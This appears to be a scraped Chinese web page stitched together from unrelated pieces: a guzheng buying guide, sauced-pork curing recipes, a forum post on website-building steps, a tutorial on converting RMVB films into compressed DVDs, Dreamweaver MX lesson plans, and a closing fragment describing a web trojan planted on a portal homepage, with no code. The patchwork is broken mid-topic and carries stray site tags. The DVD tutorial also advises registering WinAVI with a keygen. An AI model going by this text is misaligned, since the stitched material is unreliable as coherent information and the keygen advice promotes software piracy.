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古筝是中国最古老的拨弦乐器之一，它音色浑厚明亮，余音悠长，既可表达含蓄深远的韵味，也能表现激情磅礴的气势。古筝的制作基本沿袭了传统的制作流程，但工艺上多有改进。本期节目介绍古筝的制作工艺。
了解古筝：
古筝是古老的民族乐器，结构由面板、雁柱、琴弦、前岳山、弦钉、调音盒、琴足、后岳山、侧板、出音口、底板、穿弦孔组成；筝的形制为长方形木质音箱，弦架“筝柱”（即雁柱）可以自由移动，一弦一音，按五声音阶排列，最早以25弦筝为最多（分瑟为筝），唐宋时有弦十三根，后增至十六根、十八弦、二十一弦等，目前最常用的规格为二十一弦；通常古筝的型号前用S163-21，S代表S形岳山，是王巽之与缪金林共同发明，163代表古筝长度是163厘米左右，21代表古筝弦数21根；同名人物有中国女子体操队队员；古筝培训学校。
关于筝的命名，有两种说法，一说乃是有瑟分劈而来，另一说乃是因发音铮铮而得名。《集韵》就持“分瑟为筝”之说：“秦俗薄恶，父子有争瑟者，人各其半，当时名为筝”。当然除了父子争瑟的说法而外，还有兄弟争瑟，以及姊妹争瑟的说法。这些大同小异的传说也正好说明这些说法的不可靠。此外就常识而言，瑟分为二就就成了破瑟，岂能算筝？若将瑟破为二而修补成筝，恐怕远比制作筝、瑟要难吧？另一种说法是因为其发音的性质而得名，刘熙《释名》中“筝，施弦高，筝筝然”，就持此说。说筝因“施弦高”而发音“筝筝然”，这音色显然乃是对瑟的音色舒缓而言的，这就把筝与瑟联系起来了。确实，我们的民族乐器可以因乐器的来源而命名（例如胡琴），也可以因研制方法而命名（例如琵琶），更可以因为音色而得名（例如巴乌），这儿的筝因音色发音“筝（铮）筝然”，而得名也未尝不可。从后文来看，起初的筝与瑟并不密切，这就失去了筝瑟音色对比的意义，从而使此说显得难以使人全信。
古筝的选购：
古筝的统一规格为：1.63米，21弦。古筝的面板大多数采用河南兰考的桐木制造，框架为白松，筝首、尾、四周侧板有红木、老红木（缅酸枝）、金丝楠木、紫檀等名贵木材，古筝的音质取决于面板和琴弦，周边用料对古筝的音色略有改善，以老红木、紫檀、金丝楠木为佳。早期到近代也有过12、13、18、23、25弦等，不同地区的筝又有多种定弦法，筝的新种类还有“蝶式筝”、“转调筝”等。
古筝的选购，主要看三点：音色，用料和工艺。
一、用料
1、面板。
一台古筝的音质取决于面板和琴弦，面板以阳面中段为最佳，阳面是指整株桐木置于水中，露出水面的一面为阳面，去头斩尾为中段，一般以9-12年树龄的桐木为最佳，尤以河南兰考的桐木为最佳，沙土地，木质疏松，利于音质的传导。
专业演奏古筝的面板以通纹为最佳，中音区纹理间距5-9厘米，高音与低音区间距1.5-2.5厘米为最佳，面板厚度高中低音的厚度一般为9mm、11mm、10mm，目前面板大多数采用弦切工艺。
2、琴弦。
早期的琴弦以马尾、鹿筋为原料，到了近期以尼龙钢丝弦为主流，增加了音量，也提高了韵味，琴弦以德国进口钢丝为主，含碳量均匀，寿命长，手感好，以五音不全牌、宝泉牌、敦煌牌为代表，较受专业人士欢迎。
3、筝码
一般来说红木古筝配套红木筝码，楠木古筝配套鸡翅木筝码，紫檀古筝配套紫檀筝码，亦有说法以色木为筝码最佳材料，但是尚未有定论，筝码要求纹理垂直向下为最佳，上嵌牛骨，搁弦槽一般为对应琴弦的1/3深度为最佳。
二、音色
试音色之前一定要先调准音，没有音准，就没有音质，更谈不上音色。建议每次演奏以前都进行一下微调，以保证演奏效果。高音区的音色要求有穿透力，中音区音色要扎实，低音区音色要浑厚，整体音色过度要求和谐。
三、工艺
古筝上常见的工艺有：雕刻、挖嵌、贝雕、刻字、点螺等，原则上工艺对古筝的音色没有影响，但是有的工艺对古筝的音质是有影响的，已经逐渐被淘汰，比如说钢琴漆工艺和景泰蓝工艺，由于过度加厚了古筝的侧板，影响了共鸣，音色很闷。
古筝的配件
1 校音扳手一只
2琴架
3护琴饰套
4玳瑁义甲
[农广天地]酱肉的制作(20140306)
酱肉，营养丰富，味道鲜美，是我国传统的一种熟食制品。它有着悠久的历史，自古以来就深受人们的喜爱。酱肉制品的历史可以追溯到，一千三百余年的隋末唐初。酱肉之所以美味独存，就在于它经煮制、酱制、刷酱而成。在本期的节目当中，就将给观众朋友们介绍一下在我们国家流传至今的传统美食——酱肉制作。
天津酱肉加工技术：
①配料标准：主料：猪白肉(净肉)5000克。辅料：食盐200克，酱油250克，白糖50克，绍兴酒75克，大葱100克，鲜姜100克。
②加工方法：
选料整理：选用符合卫生要求的猪肉，肥膘厚度为1.5～2厘米，修去皮上的残毛、污物，割去五花肉，再切成500—750克左右的方块肉。
浸泡：切好的肉块放在凉水中浸泡，约经4小时左右，捞出后沥去水分。
氽制：沥水后的肉块，放入沸水锅中，氽约30分钟，除去血污。
酱制：氽好的肉块放入酱煮锅内，加入全部辅料(香料用纱布袋装)，先用大火烧煮30分钟，再改用小火焖煮3.5～4小时，待汤汁浸透猪肉块时出锅，冷却后即为成品。出品率约为60％。
⑧产品特点：天津酱肉，成品块状，色泽红褐，肥瘦均匀，肉质细嫩、浓香可口。
加工设备：
切(绞)肉设备。在肉制品加工过程中，无论什么品种，都要对原料肉进行切块(片)或绞碎。所以，切肉机和绞肉机是生产肉制品不可缺少的设备。切肉机通过更换不同的刀具，可以根据需要切割成不同规格的肉块或肉片。绞肉机通过调换筛板，可绞成大小不同的肉粒。切肉机和绞肉机，各地均有生产，可根据实际条件选用不同的规格型号。
煮制设备。煮制是生产肉制品的熟制过程，可分为水煮和蒸煮两种方式。水煮法可用一般的煮锅或夹层锅，通过煤或蒸汽等热源，加温煮制。蒸煮法通常是将灌好的肉品挂在炉内或放在蒸煮桶内，通过温度控制阀通入蒸汽，加热进行熟制。
五香酱肉制作（又称苏州酱肉）
①配料标准：主料：猪肉5000克。辅料：酱油150克，食盐300～350克，绍兴酒150克，白糖50克，桂皮7克，大茴香10克，新会柑皮（可用桔皮代）5克，大葱100克，生姜10克，硝酸盐2.5克。
②加工方法：
选料整理：选用卫检合格的新鲜猪肋条肉清除血污，剪去奶头。然后切成长16厘米、宽10厘米的长方肉块。在每块肉的肋骨间用刀戳上8～10个刀眼，以便吸收盐分和料味。
腌制：将盐和硝水溶液洒在原料肉上，并在四周膘和表皮上用手擦盐，放入木桶中腌制5～6小时。然后，转入盐卤缸中腌制12小时。若室温在30℃以上，只需腌制几个小时；室温10℃左右时，需要腌制1～2天。
酱制：捞出腌好的肉块，沥去盐卤。锅内先放入老汤，旺火烧开，放入肉块和各种香料，再用旺火烧开，加入绍兴酒和酱油，改用小火焖煮2小时。如锅内酱肉数量较多，须在烧煮1小时后进行翻锅，促使成熟均匀。在出锅前半小时左右，加入白糖，待皮色转变为麦秸黄色时，即可出锅。
出锅：酱肉出锅时将肉上的浮沫弹尽，皮朝下逐块排列在清洁的食品盘内，并趁热将肋骨拆掉，保持外形美观，冷却后即为成品。
③产品特点：皮色金黄，瘦肉略红，肥而不腻，鲜美醇香。
清酱肉制作：
北京清酱肉与金华火腿、广东腊肉并称为中国三大名肉，是我国传统食品，北京著名特产。这种肉制品创制于明代，至今已有400多年的历史。
产品色泽酱红，肉丝分明，入口酥松，清香鲜美，利口不腻，肥肉薄片，品莹透明，瘦肉片则不柴不散，风味独特。
原料
猪肉50千克，细盐2.5～4千克，硝酸钠25克，花椒50克，大料50克，小茴香50克，甘草(用细布过滤)50克，酱油适量。
制作方法
选料：清酱肉要选用薄皮猪的后臂尖部位，要35～40毫米厚的带肥膘肉，割去碎头，旋成椭圆形，不要碰破骨膜，每块3.5千克左右。
腌制：将细盐1.5～2.5千克，分七次撒在肉坯上(每天一次)，挤出血水，共腌7～10天，每隔12小时倒翻、摊晾各一次，然后从边沿穿绳，上挂内干1天。
酱制：将腌好的肉坯加其余全部调料入大缸内酱制8天，每天倒缸一次，然后捞出，挂在通风处晾干，到来年2月(约100天左右)入净缸或密封室内存放。
煮制：到霜降前后，将肉坯取出，用清水浸泡1天，用碱水刷洗干净，开水下锅，以适当火候煮制1小时左右，即为成品。
这两个字看似没有什么意义，表面上来看，的确是如此的。但是，你想拥有一个什么样的网站？你的主色调，你的内容，
等等等等，都需要一个策划，否则你打开制作工具，你根本不知道要做什么。就象你或者你的GF要做饭，材料什么都有，菜买回来了，可你不知道要吃什么，还为吃白菜或者吃芹菜而闹不明白。你会很为难。对于新手来说，可以参考借鉴别人的作品，多看看一些你喜欢的网页，然后去模仿，慢慢的就能做出自己的东西了。一个策划做好了，就什么都好说了。
二、设计图纸
你可以先在草稿上先画一画，但那样的话，这个步骤应该归结于第一步。这里说的设计图纸是在PS或者FW中把你想做的网站用图片的形式画出来。我不清楚是否在各位看观中是否有准备去应聘网页美工等工作的。但就我自己的公司在我们附近的一所大学里招聘的情况来看。实在是不怎么理想。因为这些应聘网页美工的同学居然不知道不明白网页是先用PS或者FW画出来的。最后我录用了附近中专的一个学生。倒不是他在学校里学到了什么，是自学的，做得还不错。由此可见，学生在学校里学到的东西实在是太皮毛了~~~~（跑题了是吧~~~~~ ）~~~~~这一个步骤呢就
是说~~~~~先把自己的想要的网页用PS画出来。PS的灵活多变以及超级强大的功能，完全可以画出绚烂的网页出来。
现在来说呢，我给大家提供几个数字，就是网页设计图纸的宽度。如果你的网页是准备留有对联广告的位置，也就是像稀饭主站的那种样式来说呢，你的网页的宽度一般为 768 像素。也有760像素770像素780像素。这看个人的设计习惯来的。但一般来说呢，768像素是最符合规范的，因为768正好是屏幕的高度。如果你是想设计满屏的网页，就像这个论坛吧。宽度一般为1000左右。有人说是1007，的确，在WINDOWS 标准界面下这个宽度能全部显示而不必在下面拉啊拉的。但是如果是XP风格的话，就要左右拉了因此宽度设置为1000差不多。也有设计为998了。这根据个人经验而来，大家可以根据自己的实际判断来说。总之就这左右。告诉嘛~~~~~你想设置多高就多高吧。如果是首页的话呢，最好是能全部显示出来。由于各个浏览器的不同——像多窗口浏览器有一个标签栏，就算是IE，常用图标也有大小之分。因此告诉是多少，你就自己掌握吧。
三、切割网页
切割网页这工作还是交给PS或者FW来制作。也就是使用他们的切片工具。个人认为FW更适合用来切割图片。太专业了。而且很容易上手。PS当然也有这个功能。不过说来寒酸，我到现在也没搞明白那是怎么切割的~~~~~就看别人切割了，自己就是不会~~~~~（没办法，本人电脑知识全部自学，PS、FW、DMX等等等等，因此有些问题搞不明白还是情有可原的吧~~~~
切割网页就是把图片切割成若干个小图片，其中宽度高度什么的都得自己去掌握去学习，我考虑写一个教程。不过时间不是很充裕，看情况。
四、DMX制作网页
终于到这一步了，大家是不是很明白啊？不会用DMX就不能说是会制作网页知道不？现在一般的大学生和职业学校的学生都应该掌握了这个吧。顺便说一下，网页就是表格加图片加FLASH。自己慢慢体会吧。
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）
这里只说了个流程，我看情况能不能有时间写出详细的教程。大家自己有基础的可以先做做。这个流程中没有说到CSS样式的设置和其他的规格一些方面。这些就看自己的发挥了。CSS可以用人家现成的，自己修改修改就可以了。
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网站制作流程
如果你是想制作一个静态的网站。那么掌握网页制作流程就差不多了，这一章只要学习网站规划就可以。但大多数人不会愿意制作静态的网站，因为管理实在是太麻烦了，因此，网站必然是动态的。呵呵。
一、整体规划
好像又是没有意义的一个词，但是就根本来说实在是太有意义了。网站的规划分为下面几个部分
1、动态程序语言的选择。
大家可以先了解一个语言，ASP ，PHP ，JSP ，CGJ ，.NET 等等等等。就现在来说，一般的小型网站都是使用 ASP
一步一步教你制作DVD压缩碟 随着宽带网络和刻录机的普及，下载软件已经成为多数网友日常网络的主要应用 ，网络上的视频文件以电影为主，有时候下载的电影在看过以后觉得非常好，或 者想和家人或朋友共同分享，或者想作为收藏而长久保存，这时就需要我们通过 刻录机将电影文件刻录到光盘上进行保存，但是这样的光盘，只能在电脑上通过 专用软件才能播放上面的影片文件，这就大大限制了所制作光盘的兼容性和通用 性。为了很好地解决这个问题，我们可以通过将电影文件制作成DVD压缩碟的方 式来提高所制作影碟的通用性，同时，这种通过电影文件制作成的DVD压缩碟也 提高了该碟片的价值和娱乐性。 何为HDVD ，即市场上见到的，一张DVD装下很多集电视连续剧或者多个故事片， 一张碟可以播放7小时左右的视频内容。它另一个名字叫做DVD压缩碟。 为何选择DVD盘片做载体，因为DVD盘片有容量上的优势，拿市面上常见的DVD-R 碟片为例，一张D5碟4.7G，实际可用容量大约在4.4G左右，可以容纳大约6-7部 VCD(320X240)质量的电影，或者容纳3部DVD(720X576)质量的电影，通常的8X DVD-R碟用8X刻录只需要大约8分钟，可以说在速度上还有容量上DVD碟片都是制 作压缩电影的首选碟片。 现在，网络上普遍流行的电影文件格式为RMVB格式，这种格式以其体积小，效果 好，易播放等优点迅速成为网络上传播的电影所采用的主要文件格式。我下面就 以RMVB文件为例，介绍如何将RMVB文件的电影转换格式制作HDVD。 我们数码工厂论坛以往的帖子都是以讨论硬件和介绍系统维护知识为主，我今天 借这个主题介绍一些软件的使用知识，希望能够抛砖引玉，让我们共同喜爱的数 码工厂论坛在软件和硬件两个方面都能有长足的发展。 。制作的全过程是这样的： a。首先我们以网络上下载的RMVB格式的电影作为源文件,将RMVB文件通过软件转 换为MPEG格式的文件。 b。再用过软件将MPEG文件进行打包，做成标准DVD影碟的文件架构。 c。最后通过DVD刻录机配合相应刻录软件，刻录成HDVD。 第一步的RMVB到MPEG过程的转换，可通过多种视频格式转换软件实现，例如 MainConcept MPEG Encoder ＋ 阿飞Real解码器、EO Video、TMPGNEC、WinAVI Video Converter等等，由于将一部RMVB电影转成MPEG格式的时间通常较长（使 用某些软件时，甚至比一部电影的放映时间还长），而且对转换后的文件画面质 量要求尽量高，同时转换的格式设置和参数也要尽量丰富，经过试用，只有 WinAVI Video Converter在压缩时间、画面质量、调节参数等几个方面满足要求 。
第二步的MPEG文件打包为DVD影碟文件架构，可选择的软件比较少，我选用了 TMPGEnc DVD Author软件，该软件的最大优点是可制作静态或者动态的HDVD开始 菜单，并可通过内置的刻录功能直接实现HDVD刻录（但我没有用该功能)） 第三步刻录HDVD的过程，我借助刻录软件NERO中的NERO Express功能实现HDVD影 碟的刻录，将第二步做好的DVD影碟文件通过nero的DVD视频制作功能直接刻录为 DVD影碟。制作成的影碟可在DVD机或者DVD光驱上播放，并带有动态菜单，就像 我们买到的DVD一样，大大提高了影碟的兼容性。 HDVD制作流程 下面就来看看今天我重点介绍的几位主角 2。WinAVI Video Converter 6.3 必须通过注册机进行注册，否则转换成功的文 件上有一个图标无法去掉。 3。TMPGEnc DVD Author 1.6 汉化版，mpeg打包成DVD文件结构全靠它 4。NERO 6.6.0.16 这个不用多说了，超经典的刻录软件 5。第一步当然是用winavi对RMVB文件进行格式转换，图中红框选择的内容是实 现单个文件转换的选项。 6。如果有多个文件要转换，使用单个转换的选项比较麻烦，没关系，winavi提 供了批量转换的功能。 7。以批量转换为例，进入批量转换画面后，添加要转换的文件 8。这是选择文件的界面，到指定9。选择文件以后，要对输出格式进行选择，这 是RMVB转MPEG的关键一步，在选项里面只有MPEG1和MPEG2两种MPEG格式可选，我 选择MPEG1为输出文件格式，这样可以保证生成的MPEG文件有最好的兼容性。其 他选项不用管文件夹，选择RMVB文件 10。进入输出格式的高级选项界面（见上图），可以对输出质量、音频、输出制 式、画面尺寸、优先选择等项进行设置，需要特别注意的是输出质量选得越高转 换的时间将越长，画面尺寸决定输出文件的画面质量和文件大小，如果想输出 VCD质量的文件，画面制式可选320X240，不论选何种画面尺寸都需要和输出制式 所选择的制式相对应，比如选择PAL制式的DVD输出，画面尺寸须选择720X576， 如果是NTSC制式的DVD输出，画面尺寸须选择720X488。而且分辨率越高，生成的 MPEG文件越大，所以，应该在文件大小和画面分辨率之间做出选择。优先选择就 是速度优先还是质量优先，我一直选速度优先。这里须重点强调的是，音频采样 率一定要选48KHz，这是因为DVD的音频部分都是48KHz，如果选44.1KHz的采样率 ，那么在将来对该MPEG文件进行打包时，还要由打包软件进行音频采样率的转换 ，这样不仅影响打包速度，还极易造成打包后的DVD文件影音不同步的问题。 11。参数设置好以后，进入最终转换界面，如果有多个RMVB文件，都可以按照
前 述的方法添加，按开始转换按钮进行转换，结束后自动转入下一个文件的转换或 者提示返回主界面。 到此，RMVB转换为MPEG的第一部操作已经顺利完成了 12。第二步就进入了mpeg文件打包为DVD影碟文件的过程，此过程通过TMPGEnc DVD Author实现，在软件主界面，点击做成新项目计划进行创建源码的操作 13。可见上面的环节为创建源码，点追加文件选取MPEG文件，注意右面为无标题 节目轨1，追加的一个或者若干个文件将作为此节目轨1的子项 14。选定文件后点击打开按钮 15。这是选中MPEG文件的属性，并可对文件进行一定设置，点击确定确认设置 16。点击设定按钮，对文件的音频进行设置 17。增加一个新节目轨，并重复追加文件的操作，实现添加多个文件 18。接上面的图，实现多个文件的添加 19。继续建立新的节目轨3，并添加MPEG文件作为其子项目，要注意下方DVD占用 容量图标，不要超过图中的DVD容量刻度。 20。进入创建菜单环节，先对菜单显示进行设定 21。菜单显示设定界面，选中只有主菜单，当然也可以选别的以实现不同的菜单 和文件的搭配风格，然后选择动态菜单 22。动态菜单设定，选中使用动态菜单，这是将来生成的DVD文件具有动态菜单 的关键一步 23。设定标题的字体和颜色 24。设定光碟插入播放器后的动作 25。进入输出环节，选定存放文件的文件夹后，点输出开始输出DVD视频文件， 这也是MPEG文件打包为DVD标准视频文件过程的最后一步 26。输出过程中，可以监视输出的时间。 27。这就是打包后的DVD影碟文件，至此，多个RMVB文件通过格式转换制作为 HDVD的主要过程已经结束，下一步就是将其刻录入DVD碟成为真正的HDVD碟了。 28。通过nero的nero Express的选项将硬盘上的DVD文件刻入光盘 29。进入nero Express界面选择DVD视频文件刻录功能 37。几个需要注意的问题 1、在RMVB转MPEG过程中，音频采样率一定要选48KHz，否则，会出现刻录完的影 碟影音不同步的问题。既浪费了时间又浪费了刻录盘。 2、如果想要在最终的影碟上显示菜单，一定要在TMPGEnc DVD Author里设置好 光碟插入后所作的动作，否则，做了菜单也白做，影碟插入碟机就自动从头开始 播放，根本不播放菜单。 3、刻录速度要视盘片的质量而定，如果盘质量不好，适当的降低刻录速度也许 能解决问题，否则，很容易辛苦了半天最后却功亏一篑。 4、虽然刻录出来的碟片格式是DVD影碟，但是画面的清晰度比真正的DVD电影碟 低得多，但是清晰度的降低换来的是文件的缩小，所以一张碟往往能装多部电影 ，请记住HDVD并不是真正的DVD电影
碟
第一章 网页设计基础
教学目的：
本章将带领用户认识Dreamweaver MX，了解其新增功能。在开始学习该软件之前，了解一下Dreamweaver MX的工作界面的一些简单设置。通过本章的学习，用户能熟悉Dreamweaver MX的工作界面，并能自行设置具有独特的个性化的工作环境。理解DW站点的作用，并掌握建立站点的方法及站点维护的方法。
教学重点：
1、认识Dreamweaver MX。
2、新增功能。
3、Dreamweaver MX主窗口。
4、自定义工作环境。
5、利用Dreamweaver建立站点的方法
教学难点：
1、认识Dreamweaver MX。
2、新增功能。
3、自定义工作环境。
教学内容与教学过程：
一、 介绍网页制作这门课程
1．学习这门课程的目的： 让学生掌握HTML语言、以及利用相关网页制作工具制作网页的基本方法与技能。学生通过这门课程的学习，能够具备综合运用专业软件进行小型网站开发和静态网页页面设计的能力，同时积累一定的实践经验，为今后从事相应的网站设计制作工作打下良好基础。
2．这门课程的教学内容： 在制作软件上：以网页制作软件DreamWeaver MX为主干进行网页制作教学，同时选择了Flash MX版本来制作网页中的动画素材，选择了图形图像工具Photoshop 7.0版本软件来处理和制作网页中的图片。 教学内容安排上按照学生学习网页的渐进规律划以及学校制订的计划主要学习第1、2、3、5、6、9章，主要包括网页制作的基础知识、Dreamweaver MX软件的使用，初学者利用现有的素材设计制作出一个简单的网页；利用Photoshop7和 Flash MX软件来美化网页，以及网页布局和用色方面的美术知识，如何设计网页的版面和结构，还要能对供给的素材按照网站的特点进行适当的美化处理；还能掌握中小型网站的建立方法。
3．这门课程的教学和学习方法： 教学上以一个个案例为基础，采用项目教学的方法，由浅入深的介绍网页制作的各个知识点；教学中以学生会操作为目的，重视学生动手能力和自学能力的培养 同学们学习时除了要掌握相应的操作技能以外，更要重视操作技能的使用，要努力完成每章教学案例的制作以及课后素材案例。在不断的练习过程中熟悉和升华所学的操作技能。同时，要学会学习，即要学会与老师或同学之间技术心得的交流，要学会能自主的依靠其他资源（网络、报纸杂志等）来扩展所学的知识体系。
课前思考：
1、Dreamweaver软件是干什么用的？
2、试用一下Dreamweaver，你觉得这个软件在界面上更象Word还是Photoshop，为什么？
3、试用一下Dreamweaver，按默认格式保存，文件的扩展名是什么？
4、双击网页文件，会自动打开Dreamweaver软件吗？这点上与Word软件相同吗？
1.1 Dreamweaver的基本概念
1、了解Dreamweaver与IE有什么区别？
Dreamweaver是制作网页的工具，用它可以生成.htm或.html文件，而IE是浏览网页的工具，用IE只能看网页，而不能改网页，修改网页还是需要网页制作工具。
2、做网页只能使用Dreamweaver一种工具吗？
常用的网页制作软件有Dreamweaver和FrontPage。Dreamweaver由美国Macromedia公司开发，虽然初学者感到比较难学，但它的功能更强大，生成的网页代码质量好，是当今最流行的网页制作工具，适合专业网页设计人员使用，近年来它还获得过不少大奖呢。Frontpage是微软公司开发的Office办公软件中的一部分，比较容易上手，但功能不太强大，我们只在需要时（如向网页中加入微软格式的视频），才会使用FrontPage。
3、Dreamweaver最新版是多少？
Dreamweaver从2.0、3.0、4.0、MX到现在最新的MX2004版，平均每过一年就出一个新版。可见计算机是多么的富有活力。今年常用的是MX版，建议大家在家里的电脑上也将这个版本，以便与学校的相同。对于软件，我并不认为版本越新越好，它们的基本功能还是相同的，一般版本越高，对计算机的要求也越高，如果计算机配置不高，初学时还是找个低版本比较好，当然所装的软件必须与书本上的相同，这也是学习其它软件的基本要求。
4、Dreamweaver与Firework、Flash有何关系？
它们都是Macromedia公司的软件，Dreamweaver是网页制作工具，Firework是图形处理工具，与photoshop相似，一般用于网页图形的制作，Flash是动画制作工具，在制作好的网页时，一般先用Firework和Flash先制作好网页中要用到的图形和动画素材，再用Dreamweaver把这些素材做成一张网页，只会Dreamweaver，不会图形处理和动画制作，是做不出好的网页的。有人把这三个软件称作网页设计“三剑客”。
1.2认识DreamWeaver【农广天地制作一步网】
1.DreamWeaver的作用和特色【农广天地制作一步网】
2.DreamWeaver功能界面的分解
3.DreamWeaver工作流程
4. DreamWeaver 的版本、安装、打开、保存等操作演示：练习制作第一张网页——作业一 在主窗口中输入以下文字，并按以下格式排版，最后把文件以“学号姓名.htm”为名保存在桌面上。注意难点：设置字体、水平线、二个全角空格、回车会自动空一行，Shift+回车就不会空行了。
1.3 创建本地站点引入：为什么要建站点？在正式开始制作网页之前，最好先定义一个新网站，这是因为： 更好地利用站点窗口对站点文件进行管理。
尽可能的减少一些错误的出现，如路径出错，链接出错（特别是新手），当熟练掌握了DREAMWEAVER的使用后，并且只需制作单个网页时候可以省去这一步；
还值得说的是，新手做网页，就只知道做网页，不懂得条理性、结构性，一个文件放这里，另一个文件放那里，或者所有文件都放在同一文件夹内，这样显得很乱。
所以，行家的做法是：
（1先建立一个文件夹用于存放网站的所有文件，再在文件内建立几个文件夹，将文件分类，如图片文件放在image文件夹内，HTML文件放在HTML文件夹内
（2）当然，如果站点比较大，文件比较多，可以先按栏目分类，在栏目里再分类。
（3）还有文件的命名也是非常重要的，新手通常不注意这些，随便乱起些名字，这样过些时候自己也搞不懂是什么了（特别是文件比较多的时候），我们要做到一看文件的名字就知道是什么内容的文件。
（4）行家的做法是：用英文或者拼音给文件命名（推荐英文），不要使用中文的名字（因为有的机器对中文支持不太好，有可能出现链接的错误，你自己以为正确的东西在别人看来有可能是错的）。1、什么是站点？站点是存放一组网页的一个存储地方，一般是一个磁盘目录，在该目录中存放该网站的所有网页及有关的图片、FLASH动画、CSS样式文件等。建立站点时，我们一般在自已的电脑上建一个文件夹，然后把制作的所有网页及图片放在此文件夹中，最后把这个目录上传到WEB服务器上，以供英特网上的所有用户浏览。问：网页＝？网站答：不等问：网页＝？主页答：不等主页通常主页命名为index.htm,index.html,default.htm,default.html2、站点的典型文件结构站点的典型文件结构3、如何建立一个空站点准备工作——建文件夹在硬盘上某一个位置建一个总的文件夹
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„„【农广天地制作一步网】
例：在D盘上建立自己帐号为名的文件夹，把这个文件夹定义为站点，站点名的“我的个人网站”操作步骤： 第一步：在D盘上建立文件夹
第二步：在DW软件中，选择菜单“站点-新建站点”，可以按向导一步一步操作，但我建议大家直接选“高级”卡片
第三步：在“本地信息”中，填入“站点名称”，把“本地根文件夹”指定为该目录4、如何把一个已有目录定义为
一个站点例：首先单击下载网站，把网站包下载到D盘，并解压缩，在D盘上会自动生成一个文件夹，按上面所讲的步骤，把该目录定义为一个站点，站点名为“祖国腾飞”5、使用站点管理器定义完站点后，就可以使用站点管理器来管理站点了。显示站点面板：单击菜单“窗口-站点”。我们可以在站点管理器中通过右击“新建文件夹”、“新建文件”、“文件重命名”、“删除文件”，也可以通过拖动，把文件移动到其它文件夹。
第二章 网页的基本操作
教学目的：
使学生了解编辑HTML文档的各种具体操作，包括如何为页面添加文字，图片。
教学重点：
1、编辑文本的各种方法
2、在网页中插入图片的方法
教学难点：
1、编辑文本的各种方法
2、在网页中插入图片的方法
教学方法：讲演法
教学课时：4课时
教学过程：
2.1文本操作及修饰
一、特殊字符的输入
1、输入©®‟ 等特殊英文字符
单击“插入”工具栏上的“字符”面板。
2、输入★▶■△※↑①等中文符号
采用输入法中的软键盘
3、输入空格（推荐使用全角空格）
①单击“插入”菜单-“特殊符号”-“不换行空格”
②按“Ctrl+Shift+Space”组合键
③单击“插入”工具栏上的“字符”面板上的“不换行空格”按钮。
④把中文输入法切换到全角模式，输入全角空格
4、插入日期和时间。
单击“插入”工具栏上的“常用”面板上的“日期”按钮。
练习一：输入以下内容，以“1.htm”保存在桌面上。
特殊符号：©®‟ ™ ±
中文符号：„„℃▵△※▴▲
现在时间：2006-02-22
二、列表的制作
列表分为无序列表（项目列表）和有序列表（编号列表）；
各个列表项之间没有顺序级别之分时选无序列表，否则选有序列表 。
制作方法：
第一步：先输入各个项目，每个项目成为一段（一个项目输入完成后，要按回车键，不能使用SHIFT＋回车）
第二步：选中要转换为项目列表的所有段落
第三步：单击属性面板上的项目列表或编号列表按钮
第四步：如果要实现多级(嵌套)的项目列表，可单击“属性”面板上的“缩进”命令
练习二：
电脑专业
o 网络技术
1. 网络1班
2. 网络2班
o 信息技术
1. 信息1班
2. 信息2班
o 电脑维护
美术专业
工艺绘画
广告设计
操作提示：
第一步：输入“电脑专业”等11行，每行按回车，不能用SHIFT+回车
第二步：全部选中，单击“属性”面板中的无序列表按钮
第三步：选中“网络技术„„电脑维护”7个段落，选“属性”面板中的缩进按钮
第四步：同样方法让“网络1班”等班级缩进
第五步：选中“网络1班、网络2班”，单击“属性”面板中的有序列表按钮，使其变为有序列表
有时设置好项目符号后，再打进去的字也变成项目符号了，解决这个问题的方法是，在设置项目符号前，先把后面的字输入几字，再去设置项目符号。
选做练习：
飘雨的季节 困惑的心情 羞涩的蓓蕾 年轻的你我 蓝色的小屋
飘雨的季节
困惑的心情
羞涩的蓓蕾
年轻的你我
蓝色的小屋 i. ii. iii. iv. v.
a. 飘雨的季节
b. 困惑的心情
c. 羞涩的蓓蕾
d. 年轻的你我
e. 蓝色的小屋
5. 飘雨的季节
6. 困惑的心情
7. 羞涩的蓓蕾
8. 年轻的你我
9. 蓝色的小屋
三、样式的使用
(一)样式的作用：
避免重复操作，提高操作效率；统一网页的风格
(二)HTML样式
HTML样式与Word中的格式刷功能相似。如果网页中多个地方需要设置“红色、黑体、5字号”等三个属性，如果一个一个去设置效率不高，我们可以先定义一个“HTML样式”为包含“红色、黑体、5字号”等三个属性，以后到需要设置这三个属性的地方应用一下这个HTML样式即可，所以使用“HTML样式”可以提高工作效率。
1、建立HTML样式
第一步：在窗口菜单中打开“HTML样式”面板（属于设计面板组）
第二步：单击面板下方的“新建样式”按钮
（1）输入名称
（2）指定应用范围
（3）指定应用时的效果
（4）设置属性
2、应用HTML样式
选中文字，单击“HTML样式”面板中定义的样式即可
3、清除HTML样式
选中先设置HTML样式的文字，单击面板上的“清除所选样式”或“清除段落样式”
4、修改HTML样式
双击相应的样式名
5、删除HTML样式
选择要删除的样式，单击“HTML样式”面板中的删除按钮
练习三：。
定义一个HTML样式，名称为“red-hei-5”，属性为“红色、黑体、5字号”，任意输入一段文字，把这个HTML样式，多次应用到网页中。
(三)CSS样式（层叠样式表）
▴CSS是干什么用的？
你还记得在网页中最大字号是多少吗？对了是7号，再大就不行了，用CSS样式，你可以让一个字占满一个屏幕(如果你喜欢这样做)。用CSS样式还能设置文字的上标、下标、下划线、文字背景等。CSS的功能可强大了!不会CSS，等于没学过网页制作。
▴HTML样式与CSS样式的区别？
同样都是样式，但功能有很大的不同，HTML样式的功能只是把原来网页设置的几个属性合并为一个名称，起到方便设置的目的，但并不能增加其它功能，而CSS样式只对原网页设置的扩充，许多原来不能设的属性通过CSS样式可以设了。
1、建立CSS样式
第一步：打开CSS样式面板
第二步：单击面板下方的“新建CSS样式”按钮
（1）指定CSS样式的名称(最好字母开头)，
（2）“类型”选“创建自定义样式”(其它二种以后介绍)，
（3）“定义在”选“仅对该文档”，单击“确定”
（4）设置CSS样式（CSS样式功能非常多，首先要求掌握的是“类型”和“背景”二张卡片的内容。）
2、应用CSS样式
选中文字，然后在面板上单击相应的样式名
3、清除CSS样式
选中先设置CSS样式的文字，单击面板上的“无CSS样式”
如果你访问××网站（国内某门户网站），你就会中灰鸽子木马。这是我一黑客朋友给我说的一句说。打开该网站的首页，经检查，我确实中了灰鸽子。怎么实现的呢？他说，他侵入了该网站的服务器并在网站主页上挂了网页木马；一些安全专家常说，不要打开陌生人发来的网址，为什么？因为该网址很有可能就是一些不怀好意者精心制作的网页木马。
